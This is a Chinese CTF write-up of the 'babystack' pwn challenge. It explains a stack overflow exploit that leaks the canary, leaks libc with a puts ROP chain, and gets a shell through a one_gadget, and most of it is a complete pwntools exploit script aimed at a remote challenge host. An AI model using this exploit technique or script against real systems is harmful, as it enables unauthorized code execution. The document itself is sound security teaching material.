pwn1
考點:棧溢出,canary繞過
基本情況
程序實現功能是往棧上讀寫數據。
保護措施
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
棧溢出
......
while ( 1 )
{
menu();
v3 = my_input();
switch ( v3 )
{
case 2:
puts(&s);
break;
case 3:
return 0LL;
case 1:
read(0, &s, 0x100uLL); // 棧溢出
break;
......
棧溢出空間還是比較大的。
思路
使用棧溢出覆蓋 canary 最後一字節,讀取出 canary ,成功繞過 canary 保護。
#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))
題目沒有預留後門,並提供 libc ,所以泄露 libc 調用 onegadget getshell 。泄露 libc 需要藉助輸出函數,即需要控制 rip 調用。
泄露 libc 還需要 rop 回到 main 執行下一步操作。
#leak libc
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))
最後再次控制 rip 。
#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)
add(payload)
leave()
EXP
from pwn import *
context.log_level = 'debug'
#p = process("./babystack")
p = remote("124.126.19.106",51939)
elf = ELF("./babystack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(context):
p.recvuntil(">> ")
p.sendline('1')
p.send(context)
def show():
p.recvuntil(">> ")
p.sendline('2')
def leave():
p.recvuntil(">> ")
p.sendline('3')
#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))
#leak libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400a93
start_addr = 0x400720
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
#gdb.attach(p)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))
libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
onegadget = libc_base + 0x45216
log.success("onegadget:"+hex(onegadget))
#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)
add(payload)
leave()
p.interactive()